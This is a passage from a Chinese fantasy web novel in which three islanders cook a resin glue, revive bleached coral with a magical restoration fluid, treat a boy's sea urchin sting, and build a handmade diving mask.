他转身走向灯塔底层一个相对空旷的角落,那里堆放着一些他收集的耐烧木柴和一个用厚实火山岩粗糙垒砌的小火塘。
他用火石点燃干燥的引火绒,橘红的火苗跳跃起来,舔舐着添加的柴枝。
“阿土。”老卡尔头也不回地唤道,声音恢复了惯常的沙哑和平静,却带着一种不容置疑的威严。
一直屏息凝神,大气不敢出。眼睛在爷爷,苏甜和那神奇陶罐之间来回打转的阿土,如同受惊的小鹿般猛地挺直了背脊。“爷爷!”
“看火。”老卡尔指了指火塘里渐旺的火焰,言简意赅。
随即,他拿起一个苏甜从未见过的,造型古朴的黑色小陶锅(锅壁极厚,布满手工捶打痕迹)。
又从角落一个同样古旧的木盒里,取出一块凝固的,颜色深黄的蜂蜡块和一块拳头大小,散发着浓郁松香的,半透明的橙黄色天然松脂块。
他没有解释,只是用石刀小心地从那块珍贵的【老灯塔的眼泪】蜂蜡封口边缘,刮下指肚大小,颜色最深沉的蜡块,又从那块橙黄的松脂上削下更小的一块。
“熬胶,先熬[引]。”老卡尔的声音,在噼啪的火声中显得格外清晰。他将刮下的深色蜡块和松脂碎块投入黑色小陶锅中,然后将陶锅架在火塘上稳定的石架上。
火焰温柔地舔舐着锅底。小陶锅内的蜡块和松脂块开始缓慢地融化,混合,散发出一股更加浓郁复杂的暖香,隐约带着一丝老灯塔眼泪的独特气息。
“火候是魂。”老卡尔盯着锅中开始冒起微小气泡的粘稠混合物,声音低沉。
“火猛,胶焦,灵性尽毁。火弱,胶生,粘性不足。要像潮水涨落,不急不缓。”
他拿起一根打磨得极其光滑的硬木小棒(显然是特制的工具),伸入锅中,开始以一个特定的节奏,缓缓地,匀速地搅动锅内的混合物。
动作沉稳而富有韵律,如同进行着某种古老的仪式。粘稠的液体在木棒的搅动下旋转,融合,颜色逐渐变成一种温润的金橙色。
“看。”老卡尔示意阿土靠近。
“看气泡。米粒大小,均匀起,均匀消。记住这个[呼吸]的节奏。”
阿土立刻凑到火塘边,眼睛瞪得溜圆,紧紧盯着锅中那金橙色粘稠液体表面泛起又消失的细小气泡,鼻翼翕动,努力记忆着那奇异的香气和爷爷搅动的节奏。
少年人的脸上,第一次褪去了跳脱和好奇,取而代之的是一种近乎神圣的专注和责任感。他知道,爷爷在教他守护岛屿未来的钥匙。
苏甜抱着那罐沉甸甸的【老灯塔的眼泪】,静静地站在稍远处,看着昏黄火光下,老卡尔沟壑纵横却写满专注的侧脸,看着阿土屏息凝神,努力学习的稚嫩背影。
火光跳跃,将他们的影子投在斑驳的,布满盐霜的灯塔墙壁上,如同古老壁画中传承技艺的图腾。
那温润的金橙色光芒在小陶锅中流转,与碧绿的修复液光芒在昏暗的空间里交相辉映。
就在这时,沉浸在学习中的阿土,手腕随着爷爷教导的节奏搅动着木棒,目光全神贯注地盯着锅中[呼吸]的气泡。
他下意识地想调整一下有些僵硬的手臂姿势,手腕转动间幅度稍大。
啪嗒!
那根光滑的硬木小棒,竟然脱手滑落,直直地掉进了滚沸的,金橙色粘稠松脂里!
溅起几滴滚烫的胶液!
25. 第25章
废弃灯塔底层,空气里还残留着松脂、蜂蜡与【老灯塔的眼泪】那深沉奇异的混合暖香,如同某种古老誓言的余韵。
那口黑色小陶锅被小心地移离了火塘,锅底残余的粘稠金橙色[引胶]正在缓慢冷却凝固,如同封存了刚刚结束的传承仪式。
老卡尔沉默地用一块浸了海水的厚布擦拭着锅沿,动作一丝不苟。
阿土则蹲在锅边,眼睛还死死盯着那金橙色胶体表面最后几个细小气泡消失的位置,鼻尖几乎要碰到胶面,努力将爷爷所说的[呼吸节奏]刻进脑子里。
苏甜抱着那个沉甸甸的深褐色陶罐,指腹无意识地摩挲着罐体上粗糙的手工旋纹和岁月留下的温润包浆。
罐口那层印着螺旋纹的黑色蜂蜡封得严丝合缝,隔绝了内里那足以在海底粘合礁石千年的神秘【眼泪】的气息。
她的目光却穿透灯塔厚重的石壁,落在那片惨白死寂的珊瑚礁盘上,落在那礁石缝隙里微弱搏动的橘黄色鱼卵上。
修复液的碧绿光芒是希望之火,而这陶罐里的[眼泪],是点燃这火,并将它安全送达死亡之海深处的唯一引信。
“卡尔先生”苏甜的声音在充满松脂余香的寂静中响起,带着一种不容置疑的决断。
“修复液不能等。那片珊瑚,还有那窝鱼卵,每一分每一秒都在流逝生机。”
老卡尔擦拭陶锅的动作顿了一下,布满皱纹的眼皮抬起,浑浊却锐利的目光扫过苏甜沉静而坚定的脸,最终落在她怀中的陶罐上。
他没有说话,只是几不可察地点了下头,算是默许。那眼神里,是历经沧桑后的平静,以及对即将展开的,未知修复行动的默然支持。
阿土猛地抬起头,脸上还带着沉浸学习的专注,眼神却瞬间被点燃。
“苏姐!我准备好了!下海!”
午后阳光正好,海风带着咸腥的暖意,卷过那片被死亡灰白笼罩的礁盘。
潮水退去大半,露出更多嶙峋的黑色礁石和附着其上的藤壶,牡蛎壳。在阳光下闪烁着湿漉漉的,冰冷的光。
海水的透明度比昨日稍差,带着风暴过后的微浊,阳光艰难地穿透水面,将那惨白的珊瑚坟场映照得更加触目惊心。
苏甜、阿土、老卡尔三人站在齐腰深的清澈海水中。苏甜手中紧握着一支散发着柔和碧绿光芒的【初级珊瑚共生修复液】试管。
她小心翼翼地拧开那特殊材质的密封盖。一股清新无比,带着海洋深处与森林气息的生命能量再次弥漫开来,奇异地驱散了海水的咸腥和死亡的气息。
按照脑海中蓝图附带的说明,她取出一个同样由系统兑换出来的,极其精巧的玻璃滴管(针尖细长,带有微小的刻度)。
她将滴管尖端小心翼翼地探入试管中粘稠的碧绿液体里,吸取了约0.5毫升的量。仅仅是试管内液体的十分之一。
这点碧绿,在微浊的海水中,如同浓缩了一整个生机盎然的星球,散发着令人屏息的魔力。
“阿土”苏甜的声音透过水波的传导,显得有些模糊,却异常清晰。
“稳住我。不能多,也不能少,必须滴在虫体上。”
阿土用力点头,深吸一口气,潜入水中,游到苏甜身侧。他伸出双手,在水中稳稳地托住了苏甜拿着滴管的手腕!少年的手臂线条绷紧,显示出与年龄不符的力量和沉稳。
他的眼神透过潜水镜(简易的,仅护住眼睛),紧紧盯着苏甜手中的滴管和下方那片被选定的珊瑚区域,屏住了呼吸,如同托着一件价值连城的稀世珍宝。
目标,是距离那窝橘黄色小丑鱼卵约两米远的一小片鹿角珊瑚。这片珊瑚同样覆盖着灰白的死亡之色和薄薄的污浊藻痂,但它相对低矮,形态还算完整。
最重要的是,几处珊瑚虫杯口(珊瑚虫居住的钙质小孔)尚未完全闭合,透着一丝微弱的,几乎无法察觉的浅褐色。
这意味着里面的珊瑚虫可能还残留着一线生机,只是被白化和藻害折磨得奄奄一息。这是蓝图建议的,相对理想的【复苏火种】。
苏甜定了定神。排除掉水流,光线折射带来的干扰。
她的目光锐利如鹰隼,透过微浊的海水,精准地锁定了一个微微张开的珊瑚虫杯口。那惨白的杯口边缘,像一张濒死的,干裂的嘴唇。
就是这里!
她屏住呼吸,手腕在阿土有力的托扶下,稳如磐石。纤细的玻璃滴管尖端,带着那一点凝聚了无限希望的翡翠色星云。缓缓地,无比精确地,靠近了那个微张的惨白杯口。
滴!
粘稠的,散发着柔和碧绿光芒的液体,如同最温柔的生命之吻。轻轻地,精准地滴落在那惨白的珊瑚虫杯口边缘!
接触的瞬间!
嗤。
一声极其细微,如同滚烫烙铁触碰冰雪的声音响起!杯口边缘那层薄薄的,污浊的藻痂,如同遇到了克星,瞬间消融,褪去!露出了下面更加惨白,但相对干净的珊瑚骨骼。
紧接着,奇迹以一种肉眼可见的方式上演!
那滴碧绿的液体并未滑落,而是如同拥有生命意志般,迅速沿着杯口边缘铺展开。形成一层极薄的,散发着柔和莹绿光芒的液膜,瞬间覆盖了整个杯口!
液膜中,那些珍珠般的莹绿光点如同找到了失散的家园,疯狂地,争先恐后地涌向杯口深处,渗入那微张的孔隙之中!
更令人心脏骤停的是,那原本如同石雕般毫无生气的惨白珊瑚虫杯口。在碧绿液膜覆盖,亿万光点涌入的刹那,竟然极其微弱地,但清晰无比地,收缩了一下!
如同一个沉睡千年,濒临死亡的灵魂,被注入了生命的甘泉。在无边的黑暗中,发出了一声微弱到极致的,来自生命本能的悸动!
这微小的收缩,在死寂的惨白背景中,不啻于一道惊雷!
阿土托着苏甜手腕的双手猛地一紧!他瞪大了眼睛,潜水镜后是难以置信的狂喜。
一串巨大的,慌乱的气泡从他因震惊而张开的嘴里“咕噜噜”地冒了出来,急速冲向水面!那气泡的形状,在上升的扭曲中,竟隐约像个慌乱又巨大的心形!
苏甜的心脏,也如同被那微弱的收缩狠狠攥住,又猛地松开!
有效!蓝图没有骗人!修复液真的在唤醒沉睡的生命!虽然只是一个杯口,但这微小的律动,是这片死亡之海里响起的第一个生命音符!
她没有犹豫,手腕依旧沉稳。
滴管再次吸取微量的碧绿液体,如同最耐心的医师。精准地将第二滴,第三滴,小心翼翼地滴落在同一片区域其他几个尚有微弱生机的珊瑚虫杯口上。
每一次滴落,都伴随着那细微的“嗤”声,藻痂消融,碧绿覆盖,微光涌入。
每一次滴落,都有一两个惨白的杯口,如同被施以复苏的魔法,极其微弱地收缩一下,仿佛在贪婪地汲取着这生命的琼浆。
短短几分钟,这片巴掌大小的珊瑚区域,十几个杯口被碧绿的液膜覆盖。如同镶嵌了一圈微小的,跳动着生命脉搏的翡翠戒指。
修复液试管内的碧绿液体,肉眼可见地下降了近三分之一刻度。苏甜果断地盖上了试管盖。这点珍贵的希望之火,必须省着用。
她向阿土打了个手势。少年虽然依旧激动得手脚发飘,但还是努力稳住心神,托着苏甜的手,两人缓缓浮出水面。
哗啦!
水珠四溅。苏甜抹了一把脸上的海水,看向一直沉默地站在齐腰深海水中的老卡尔。
老人浑浊的眼睛透过水面,似乎也捕捉到了水下那短暂却震撼的一幕。他布满皱纹的脸上没有任何表情,但那双紧握在身侧,指节因用力而微微发白的手,暴露了他内心的波澜。
“成了?”老卡尔的声音沙哑低沉,如同被海水浸透的砂石摩擦。
“成了!”阿土抢先激动地大喊,声音因为憋气和兴奋而变调。
“爷爷!动了!那些小嘴巴动了!真的动了!”他手舞足蹈地比划着,试图描述那不可思议的景象,一串串水珠被他甩得到处都是。
苏甜用力点头,眼中闪烁着前所未有的光亮。
“有效!虽然很微弱,但那些珊瑚虫有反应了!它们在吸收修复液!”
老卡尔沉默地点点头,目光投向那片被处理过的珊瑚区域上方平静的海面,仿佛能穿透水体,看到那些被翡翠液膜覆盖的杯口。
他沟壑纵横的脸上,那道深刻的疤痕似乎也柔和了一丝。
“等。”他只说了一个字,声音斩钉截铁。随即,他不再看两人,转身迈着沉稳的步伐,一步一步走回岸边布满粗粝砂石的滩涂。
他找了一块被海浪冲刷得光滑的黑色火山岩坐下,如同海岸边一块亘古不变的礁石,面朝大海,沉默地等待着。那佝偻却异常坚定的背影,本身就是一种无声的守护。
时间在等待中,变得异常缓慢。
阳光在头顶缓缓移动,海风带来咸腥的气息。阿土像只坐立不安的猴子,一会儿潜入水下看看那片区域(能见度差,其实什么也看不清),一会儿又浮上来,眼巴巴地望向爷爷和苏甜。
苏甜则强迫自己冷静,坐在一块礁石上,反复研究着那张鱼皮蓝图和仅剩的修复液,计算着消耗和未来的修复计划,但目光总是不由自主地飘向老卡尔沉默的背影和那片平静的海面。
每一分每一秒,都像一个世纪般漫长。期待与焦虑交织,如同细密的藤蔓缠绕着心脏。
终于,当西斜的阳光将海面染上一层浓郁的金橘色,时间过去了将近三个小时。老卡尔动了。
他缓缓地从那块黑色的火山岩上站起身,佝偻的腰背挺直了些许。他没有说话,只是转过头,那双浑浊却仿佛能穿透一切虚妄的眼睛,平静地看向苏甜和阿土。
一个眼神,胜过千言万语。
走!
苏甜的心脏猛地一跳,瞬间攥紧了拳头。阿土更是像离弦之箭“噗通”一声就扎进了水里!
苏甜深吸一口气,紧随其后潜入海中。
海水被夕阳染上了一层温暖的琥珀色光晕,水下世界的光线变得柔和而神秘。微浊依然存在,但比起午后,似乎又澄清了一丝。
两人迅速游向那片被修复液处理过的珊瑚区域。
近了,更近了。
当那片区域完全映入眼帘时,苏甜和阿土的动作同时僵住!如同被无形的电流击中,悬浮在水中!
死寂的惨白,被打破了!
就在那片巴掌大小的,被碧绿液膜覆盖过的鹿角珊瑚区域,原本如同石灰般干枯,覆盖污浊藻痂的惨白色骨骼,此刻如同被一只无形的手温柔地拂去了尘埃,露出了更加洁净的基底。
但这并非最震撼的。
在那洁净的惨白底色之上,星星点点地。浮现出了一抹抹极其微弱,却无比真实的,褐色光泽!
不是幻觉!
那褐色极其黯淡,如同蒙尘的旧铜,又像沉睡大地深处刚刚苏醒的泥土。
它并非均匀覆盖,而是如同星星点点的火种,顽强地从惨白的骨骼深处透出来,主要集中在那些被滴入修复液的珊瑚虫杯口周围,以及杯口之间相连的骨骼脉络上!
尤其是那个第一个被滴入修复液、曾经微弱收缩过的杯口,那抹黯淡的褐色最为明显,隐隐透着一丝温润的暖意!
这抹黯淡的褐色,在这片无边无际的,令人绝望的惨白坟场里,微弱得如同风中的烛火,仿佛下一秒就会被死寂的浪潮彻底吞噬。
然而,它又是如此的真实,如此的顽强!它是死亡之海深处,挣扎着点燃的第一缕□
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□!
阿土整个人都傻了。他悬浮在水中,嘴巴张得能塞进一个拳头,眼睛瞪得溜圆,直勾勾地盯着那抹褐色,仿佛看到了神迹降临。
巨大的狂喜如同海啸般冲击着他,让他手足无措。他想尖叫,想大笑,想在水里翻跟头!结果就是手脚一阵毫无章法地乱划,身体失去平衡,猛地呛了一大口咸涩的海水!
“咳咳咳!!咕噜噜。”一串串慌乱又巨大的气泡再次从他嘴里喷涌而出,这次上升得更快,形状更加扭曲。
他手忙脚乱地扑腾着,好不容易才稳住身形,脸上又是海水又是鼻涕眼泪,狼狈不堪,但那双眼睛里的狂喜光芒,比夕阳还要耀眼!
苏甜没有笑。她的目光死死锁住那片浮现出黯淡褐色的珊瑚区域,心脏在胸腔里疯狂地跳动,撞击着肋骨,发出擂鼓般的声响。
成功了!真的成功了!修复液的力量,如同神迹般唤醒了这片死寂之地沉睡的生命力!
这抹微弱的褐色,是这片珊瑚坟场发出的第一声抗争的呐喊,是绝望深渊里升起的第一缕希望之光!
她忍不住伸出手,指尖带着一丝颤抖,小心翼翼地,无比轻柔地,触碰向那片褐色最为明显的珊瑚杯口。
指尖传来的触感,不再是之前那种冰冷、坚硬、毫无生机的死物感。
一种极其微弱,却无比清晰的温润感,透过冰凉的海水,传递到了她的指尖!
那感觉,如同触碰到了春日解冻后,被阳光晒暖的第一捧新泥!带着大地深处苏醒的脉动,带着生命初萌的柔软与韧性!
虽然依旧冰凉,但这丝温润,如同电流般瞬间击穿了苏甜所有的疲惫,焦虑和不确定!
她仿佛真的通过指尖,触碰到了那颗在冰冷死寂的深海中,刚刚被点燃,正顽强搏动着的,属于生命的星火!
就在这时,一道略显佝偻的身影无声地潜游到了他们身边。
是老卡尔。
他没有像阿土那样激动失态,只是沉默地悬浮在苏甜身旁,浑浊却锐利的目光穿透潜水镜,如同最精密的探测器,一寸一寸地扫视着那片浮现出黯淡褐色的珊瑚区域。
他看得极其仔细,从杯口的色泽变化,到骨骼脉络上细微的褐色纹路,再到周围海水的流动和悬浮物的状态。
时间仿佛在水中凝固。只有细小的气泡从三人的呼吸器中缓缓上升,在琥珀色的光线下折射出迷离的光彩。
终于,老卡尔的目光从那片珊瑚上移开,缓缓转向苏甜。
隔着潜水镜和水波的阻隔,苏甜清晰地看到,老人那张如同刀劈斧凿,布满深刻皱纹和风霜痕迹的脸上,那道从左额斜贯至颧骨的狰狞疤痕微微地,绷紧了一瞬。
那是一种极其复杂情绪的流露。有震撼,有难以置信,有对古老技艺之外神秘力量的敬畏。更有一种深沉的,仿佛穿透漫长黑暗终于窥见一丝微光的悸动。
随即,那绷紧的疤痕线条,极其缓慢地松弛了下来。
如同冰封的河面,在春日暖阳下悄然解冻。
他那总是紧抿着,如同岩石裂缝般的嘴角,极其罕见地,极其轻微地。向上牵动了一下。
那甚至算不上是一个笑容。
只是一个极其细微的弧度变化。
但就在这细微的弧度舒展开的刹那,苏甜仿佛看到了冰河解冻,听到了冻土深处种子破壳的微响!那是沉重如山的沉默被打破,是坚冰覆盖下涌动的暖流!
这无声的[笑容],比阿土所有的欢呼和气泡都更有力量!它承载着一位岛屿守护者见证家园复苏希望的,最深沉也最珍贵的认可!
老卡尔没有停留,也没有任何表示。他只是最后深深地看了一眼那片微褐的珊瑚,又看了一眼指尖还停留在珊瑚杯口,沉浸在生命脉动中的苏甜。然后,默默地转身,动作平稳而有力地向岸边游去。
那佝偻的背影在琥珀色的水光中,仿佛被镀上了一层柔和的金边,不再仅仅是海岸边沉默的礁石,更像是一座指引归途的,温暖的灯塔。
苏甜收回指尖,那丝温润的生命脉动仿佛还残留在指腹。她看着老卡尔游远的背影,又低头凝视着眼前这片在死寂惨白中倔强亮起的微褐色泽,一股汹涌的热流冲上眼眶,又被她强行压下。
希望,真的点燃了!
“苏姐!苏姐你看!”阿土激动的声音带着水泡的咕噜声传来,他指着不远处。
苏甜循声望去,只见昨日发现的那窝橘黄色小丑鱼卵旁,那条一直焦躁守护的橘黑条纹亲鱼,此刻竟显得有些[心不在焉]。它不再像之前那样死守着卵团寸步不离,高频扇动鱼鳍驱赶任何靠近的生物。
相反,它显得有些迟疑,小小的身体微微转向苏甜他们所在的这片区域,鱼头朝着那抹新生的微褐色泽方向,试探性地,极其缓慢地。
摆动着尾鳍,似乎被某种无形的,新生的气息所吸引。
它想游过来!离开它视若生命的卵团,游向这片刚刚焕发一丝生机的珊瑚!
这个细微到几乎难以察觉的动向,如同投入平静湖面的又一颗石子,在苏甜心中激起更大的涟漪!
修复液带来的,不仅仅是珊瑚个体的复苏,更是整个微小生态链开始重新连接的信号!这片死亡之海,正被那抹微弱的褐与温润的生命脉动,悄然唤醒!
然而,就在这时,异变突生!
阿土兴奋地又吐出一串心形气泡,正准备再次靠近那片珊瑚仔细端详。
突然,他身体猛地一僵,像是被什么无形的东西刺了一下,四肢在水中不自然地抽搐了一下,一串凌乱的气泡“咕噜噜”地冒了出来!
他脸上兴奋的红晕瞬间褪去,取而代之的是一丝痛苦和惊愕,双手下意识地捂向自己的小腿!
苏甜心头猛地一沉!
26. 第26章
阿土痛苦地蜷缩起身体,双手死死捂住右小腿肚,一串混乱的气泡“咕噜噜”地从他咬紧的牙关里喷涌而出,在夕阳染红的琥珀色海水中急速上升、扭曲、破裂。
他脸上的狂喜被惊愕和剧痛取代,身体不受控制地在水里打转,像一条被鱼叉刺中的鱼。
“阿土!”苏甜的心猛地沉到冰冷的海底!她顾不上再看那片刚刚焕发生机的微褐色珊瑚,双腿猛地一蹬,如同离弦之箭般冲向阿土。
水流被搅动,那片珍贵的褐色光泽在翻涌的微浊海水中晃动,如同风中的烛火。
她一把抓住阿土胡乱挥舞的手臂,另一只手托住他的腋下,奋力将他往水面带。阿土的身体紧绷,小腿肌肉在她手下剧烈地痉挛着。
哗啦!
两人破水而出。咸涩的海水呛得阿土剧烈咳嗽,脸色煞白,额头上瞬间布满冷汗,混合着海水往下淌。
“腿,苏姐。针扎火烧一样!”阿土的声音带着哭腔和难以忍受的痛苦,牙齿咯咯打颤。
一直沉默如礁石般伫立在岸边的老卡尔,此刻如同被激怒的猎豹,几步就冲入齐腰深的海水中,浑浊的眼睛里射出骇人的精光。
他粗糙有力的大手一把抓住阿土受伤的右腿,手指如同铁钳般精准地按在阿土指着的痛点附近。
“别动!”老卡尔的声音带着不容置疑的威严,如同惊雷在阿土耳边炸响,瞬间压制住了少年的慌乱和哭喊。
阿土的身体僵住,只剩下急促的喘息和因为剧痛而无法抑制的颤抖。
老卡尔的手指,在阿土小腿肚紧绷的肌肉上快速按压,探查。他的动作极快,带着一种行医者特有的冷酷精准。几秒钟后,他布满老茧的指尖在阿土小腿肚靠近脚踝上方两寸的位置,猛地停住,用力一按!
“嗷!”阿土发出一声凄厉的惨叫,身体猛地向上弓起,如同被扔进滚水里的虾米!
就在那被按压的皮肤下。一个极其微小的,几乎看不见的凸起,在剧痛中显现出来!那凸起只有芝麻粒大小,颜色比周围皮肤略深一点,像是一粒深褐色的沙子嵌进了肉里。
“海胆刺。”老卡尔的声音冰冷,如同淬了寒冰。他松开手,阿土腿上的剧痛似乎随着按压的解除而稍缓,但依旧疼得他直抽冷气,小腿肌肉不受控制地痉挛。
“风暴卷上来的,死海胆碎了。”老卡尔的目光锐利地扫过阿土刚才挣扎的区域,浑浊的海水在夕阳下翻涌着细小的泡沫和悬浮物。
“扎进去,断在里面了。”
苏甜的心揪紧了。海胆刺!而且是断裂的,深嵌在肌肉里的刺!这玩意儿带着倒钩和毒素,不及时处理,轻则剧痛感染,重则可能导致肌肉坏死!在这缺医少药的荒岛上,后果不堪设想!
“卡尔先生!”苏甜的声音,带着一丝不易察觉的颤抖。
老卡尔没有看她,只是对痛得几乎虚脱的阿土低喝一声。“忍着!”
随即,他猛地俯下身,在阿土惊骇的目光中,张开嘴,对着那个深褐色的小凸起,狠狠地一口咬了下去!
“啊!!!”阿土再次发出撕心裂肺的惨叫,身体剧烈地挣扎起来!
苏甜死死抱住他,不让他乱动。她能清晰地感觉到老卡尔牙齿咬破皮肤的力道,能听到皮肉被牙齿挤压,撕扯的细微声响!鲜血瞬间从伤口涌出,染红了周围的海水!
老卡尔猛地抬起头,呸的一声,将一口混合着血水和海水的污物吐在旁边的礁石上。那污物里,赫然躺着一截不足半厘米长的,深褐色,带着细微倒钩的尖锐硬刺!
他动作不停,又迅速俯身,用力吸吮阿土的伤口,将可能残留的毒素和组织液吸出,再次吐出。如此反复几次,直到吸出的血液变得鲜红。
剧痛如潮水般退去,取而代之的是伤口被吮吸后的麻木和持续的钝痛。
阿土瘫软在苏甜怀里,大口喘着气,脸色惨白如纸,冷汗浸透了头发,眼神里充满了劫后余生的茫然和对爷爷那近乎野蛮疗法的恐惧。
老卡尔直起身,用海水漱了漱口,抹去嘴角的血迹。
他看着吐在礁石上的那截带倒钩的毒刺,又看了看孙子惨白的脸和血流不止的小腿伤口,沟壑纵横的脸上没有任何表情,只有那道疤痕在夕阳下显得更加冷硬。
“死不了。”他沙哑地吐出三个字,转身走向岸边,从随身携带的一个油布小包里翻找着什么。
苏甜扶着虚弱的阿土,艰难地走上布满粗粝砂石的滩涂。夕阳将他们的影子拉得很长,带着一种劫后余生的疲惫。那片刚刚点燃生命微光的珊瑚区,在身后翻涌的海水中若隐若现,希望与危险并存。
老卡尔拿着一个粗糙的竹筒走回来。里面装着捣碎的,散发着浓烈辛辣气味的绿色草药糊。他不由分说地将药糊厚厚地敷在阿土小腿的伤口上,用撕下的干净布条紧紧包扎好。
“三天,别下水,腿抬高。”老卡尔包扎的动作依旧粗粝,却带着一种不容置疑的力道。他浑浊的眼睛扫过苏甜,
“胶,还熬不熬?”
苏甜看着阿土包扎好的小腿,又看向老卡尔那双沉淀着风霜与决断的眼睛。阿土的意外如同一盆冷水,浇熄了刚刚燃起的狂喜,但也让她更加清醒。
修复珊瑚的希望就在眼前,但每一步都伴随着这片海域未知的危险。没有安全的装备,下一次扎进去的,可能就不是海胆刺,而是致命的毒蛇或者更可怕的东西。
“熬!”苏甜的声音斩钉截铁,眼神重新凝聚起坚定的光芒。她看了一眼那片在暮色中渐渐模糊的微褐色珊瑚。
“面罩必须做出来!越快越好!”
废弃灯塔底层,再次被橘红的火光点亮。松脂、蜂蜡和[引胶]的暖香混合着血腥味和草药的辛辣,形成一种奇异而沉重的氛围。
老卡尔沉默地坐在小火塘旁,那块印着螺旋纹的黑色蜂蜡封口已经被他小心地刮开了一小半,露出了下面如同流动黄金般,散发着深沉奇异暖香的粘稠树脂。【老灯塔的眼泪】
阿土蜷缩在角落里一堆相对干燥的渔网上,受伤的小腿被老卡尔用几块平整的火山石垫高,敷着厚厚草药的小腿肚传来阵阵清凉,抵消了伤口的灼痛和麻木。
他脸色依旧苍白,但精神好了些。眼睛一眨不眨地盯着爷爷的动作,眼神里充满了后怕和对那神秘[眼泪]的好奇。
苏甜则按照蓝图的要求。将老卡尔之前收集的,用强化藤蔓剂浸泡处理过的最坚韧藤蔓挑选出来,又拿出备用防水帆布(虽然粗糙,但已是能找到的最好材料)。
她用老卡尔的石刀,仔细地,小心翼翼地,按照蓝图上的尺寸和弧度,在坚韧的帆布上裁剪出需要的部件。
火焰在厚实的黑色小陶锅下跳跃,舔舐着锅底。老卡尔将刮下的[引胶]碎块和一小块珍贵的[老灯塔的眼泪]树脂投入锅中。粘稠的金橙色[引胶]与温润如蜜的黄金树脂在锅中缓慢融合,升温。
“火候。”老卡尔的声音在噼啪的火声中响起,低沉沙哑,目光紧盯着锅中开始泛起细小气泡的混合物。他拿起那根光滑的硬木小棒。伸入锅中,以一个特定的,沉稳如潮汐涨落的节奏,缓缓搅动。
粘稠的液体在木棒的引导下旋转,交融,颜色逐渐变成一种更加深邃,更加温润的琥珀金色。散发出的暖香也更加醇厚复杂,仿佛凝固了灯塔百年的守望和海风的低语。
苏甜将裁剪好的坚韧帆布部件,放在一块平整的石板上。她拿起一根处理好的,具有一定弧度和韧性的藤蔓主梁(作为面罩的骨架鼻梁部分),又拿起两块裁剪好的帆布(作为面罩主体和边缘密封条)。
老卡尔看着锅中【呼吸】均匀的琥珀金胶液,点了点头。他用木棒挑起一小团粘稠拉丝的胶液,胶液在离开锅口的瞬间遇冷微微凝固,拉出金丝般的光泽。
“好了。”
苏甜立刻将藤蔓主梁和一块帆布主体递过去。老卡尔接过,动作快如闪电。他布满老茧的手指直接探入滚烫的胶液中!
那足以烫熟皮肉的温度,对他粗糙如树皮的手指仿佛毫无影响!他精准地蘸取了一小团粘稠滚烫,散发着灼热异香的琥珀金胶液,闪电般涂抹在藤蔓主梁需要与帆布粘合的弧线上!
嗤!
滚烫的胶液接触藤蔓,发出一声轻微的声响。老卡尔毫不停顿,另一只手稳稳地将裁剪好的帆布主体按压上去!滚烫的胶液,在挤压下瞬间浸润藤蔓和帆布的纤维!他手指用力,如同最精密的液压机,沿着粘合线快速,均匀地按压抚平!
动作一气呵成!快得只在视网膜上留下残影!
滚烫的胶液,坚韧的藤蔓,粗糙的帆布,在老卡尔那双仿佛蕴含着大地力量的手掌下,被强行糅合在一起!一股带着松脂、蜂蜡、阳光和陈年海风气息的奇异焦糊味弥漫开来。
苏甜和阿土看得目瞪口呆!尤其是阿土,连腿上的疼痛都忘了,嘴巴张得老大。爷爷的手艺,他见过很多,但如此[凶悍]地处理滚烫胶液和材料,还是第一次!
老卡尔没有停顿,拿起另一块作为边缘密封条的窄帆布条,再次蘸取滚烫胶液,沿着主体帆布与藤蔓骨架的边缘,如同最精密的缝纫机般快速,严密地涂抹,按压!确保所有可能的缝隙,都被这滚烫的[眼泪]彻底封死!
很快,一个结构略显粗犷,但线条流畅。完全由藤蔓骨架支撑,帆布主体覆盖,边缘被琥珀金胶液严密粘合封死的面罩雏形,出现在老卡尔手中。胶液尚未完全冷却,在火光下闪烁着温润的光泽,散发着奇异的暖香。
老卡尔将滚烫的面罩雏形,浸入旁边早已准备好的一桶冰冷海水中。
嗤啦!
剧烈的白气升腾!滚烫的胶液遇冷瞬间硬化!一股更浓郁的混合焦香弥漫开来。
片刻后,老卡尔将面罩从海水中捞出。水珠顺着光滑的胶封边缘滚落。藤蔓骨架,帆布主体,琥珀金色的胶封边缘,三者已经完美地融合成一个坚固的整体。
浑然天成,再也看不出拼接的痕迹。胶封边缘呈现出一种温润的深琥珀色,如同上好的蜜蜡,光滑而坚韧。
“试试。”老卡尔将冷却定型的面罩递给阿土,声音依旧没什么起伏。
阿土忍着腿痛,挣扎着坐直身体,小心翼翼地接过这个还带着海水凉意和奇异香气的手工面罩。入手沉甸甸的,藤蔓骨架的弧度贴合鼻梁和额头的曲线,帆布内衬虽然粗糙,但还算柔软。
最神奇的是那片镶嵌在面罩前部、由多层透明鱼鳔(老卡尔库存)压合而成的椭圆形观察窗,边缘被琥珀金胶严密地粘合密封着。
他深吸一口气,带着一种朝圣般的虔诚,将面罩扣在自己脸上。
藤蔓骨架的弧度,完美贴合了他的鼻梁和颧骨,老卡尔用力按压粘合的部位没有任何硌痛感。他试着调整了一下头部固定用的,同样用强化藤蔓编织的简易头带(苏甜按蓝图缝制)。
然后,他屏住呼吸,目光透过那片多层鱼鳔压合而成的观察窗,望向灯塔底层昏暗的角落。
瞬间!
阿土的瞳孔猛地放大!身体如同被无形的电流击中,剧烈地一震!
“清了!好清楚!”他的声音因为激动和面罩的阻隔而变得模糊不清,带着难以置信的颤抖!透过那片鱼鳔窗,原本昏暗模糊的灯塔底层景象,瞬间变得清晰锐利!
角落里堆积的锈蚀齿轮纹理,墙上剥落的盐霜痕迹,甚至远处火塘里跳跃火焰的焰心。所有的一切,都如同被水洗过一般,清晰地呈现在他眼前!
这比他以前任何一次裸眼潜水的视野都要清晰,都要稳定!没有水流的扭曲,没有光线的散射!一个全新的,纤毫毕现的世界,在他眼前豁然洞开!
“爷爷!苏姐!你们快看!”阿土激动得语无伦次,手指着角落里的一个锈蚀齿轮,仿佛发现了新大陆。
“那个齿轮!缺了三个齿!左边那个!”
老卡尔没说话,只是拿起面罩,走到火塘光线更充足的地方。他仔细检查着每一个粘合接缝,尤其是观察窗边缘那圈深琥珀色的胶封。
他用力掰扯,胶封纹丝不动,如同与帆布和鱼鳔长成了一体。他又将面罩观察窗朝下,倒了些海水在上面,海水顺着光滑的胶封边缘流下,没有一丝渗入内部。
“不漏水。”老卡尔下了结论,将面罩递给苏甜,浑浊的眼睛里终于掠过一丝几不可察的满意。
“你用。”
